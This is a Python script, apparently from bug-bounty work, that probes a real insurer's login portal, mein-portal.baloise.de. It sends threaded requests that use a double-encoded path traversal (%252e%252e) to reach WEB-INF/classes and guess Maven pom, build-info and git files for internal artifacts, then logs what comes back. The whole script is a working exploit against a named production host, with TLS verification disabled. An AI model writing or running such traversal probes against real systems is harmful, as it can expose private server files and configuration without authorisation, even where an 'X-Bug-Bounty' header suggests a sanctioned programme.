from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor
import urllib.parse,json,itertools
host='mein-portal.baloise.de'
base=f'https://{host}/auth/ui/assets/airlock/i18n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/WEB-INF/classes/'
H={'X-Bug-Bounty':'dwbzn','Accept':'application/json','Cache-Control':'no-cache'}
groups=['de.baloise','com.baloise','ch.baloise','de.balgroupit','com.balgroupit','ch.balgroupit','com.airlock','com.airlock.iam','ch.ergon','ch.ergon.airlock','ch.ergon.medusa']
arts=['baloise-saml2','baloise-saml','saml2-transform','saml-transform','saml2-transformer','easylogin','easy-login','tgic','account-linking','el-account-linking','el_account_linking','el_account_linking2','iam-custom','iam-loginapp','loginapp-custom','baloise-iam','baloise-login','portal-login','portal-auth','portal-integration']
paths=[]
for g,a in itertools.product(groups,arts):
 for root in ['META-INF/maven','meta-inf/maven']:
  paths.append(f'{root}/{g}/{a}/pom')
# also common Gradle build info resources
for a in arts:
 paths += [f'META-INF/{a}-version',f'{a}-version',f'{a}/build-info',f'{a}/git']

def one(p):
 u=base+urllib.parse.quote(p,safe='/_.-')+'.json'
 try:
  r=requests.get(u,headers=H,verify=False,timeout=15,toadex_capture=False)
  return {'path':p,'status':r.status_code,'size':len(r.content),'body':r.text[:6000]}
 except Exception as e:return {'path':p,'status':0,'size':0,'error':repr(e)}
with ThreadPoolExecutor(max_workers=8) as ex: rows=list(ex.map(one,paths))
open('work/scratch/liferay-critical/i18n-maven-probe.jsonl','w').write('\n'.join(json.dumps(x) for x in rows)+'\n')
for x in rows:
 if x['status']!=200 or x.get('body','').strip() not in ('{}',''):
  print(json.dumps(x,ensure_ascii=False))
print('tested',len(rows),'hits',sum(x['status']!=200 or x.get('body','').strip() not in ('{}','') for x in rows))
